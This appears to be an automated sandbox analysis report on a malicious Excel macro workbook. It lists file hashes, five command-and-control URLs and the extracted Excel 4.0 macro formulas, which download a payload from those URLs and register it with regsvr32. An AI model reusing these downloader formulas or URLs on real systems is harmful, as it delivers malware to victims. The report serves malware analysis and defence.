General

  • Target

    6aad33876d8ba6c57e49ddef22d34576c270de14b3e3a4353abfdc9beb9c34ab

  • Size

    69KB

  • MD5

    d777bc5609f8a1a152583d9f8278779c

  • SHA1

    8306020d9df452bcec1ac72e504d4254432b50a6

  • SHA256

    6aad33876d8ba6c57e49ddef22d34576c270de14b3e3a4353abfdc9beb9c34ab

  • SHA512

    13fb11d94bfae5753f72bcd2dce32e6fef0400c5de5f4425425dcecb978232fc1c80fbd2de24bddcebf71ab9ac471cd434e5c1e7cad085930da34c1f5d68a0bc

  • SSDEEP

    1536:Np0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:szWhxHjh88ZoH7juFuZiQg

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

https://triclicks.net/wp-admin/bv/

https://thecanadianarab.com/wp-content/VJ/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vasilestudio.com/wp-admin/pZ1vbd5Z/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://triclicks.net/wp-admin/bv/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thecanadianarab.com/wp-content/VJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • 6aad33876d8ba6c57e49ddef22d34576c270de14b3e3a4353abfdc9beb9c34ab
    .xlsm office2007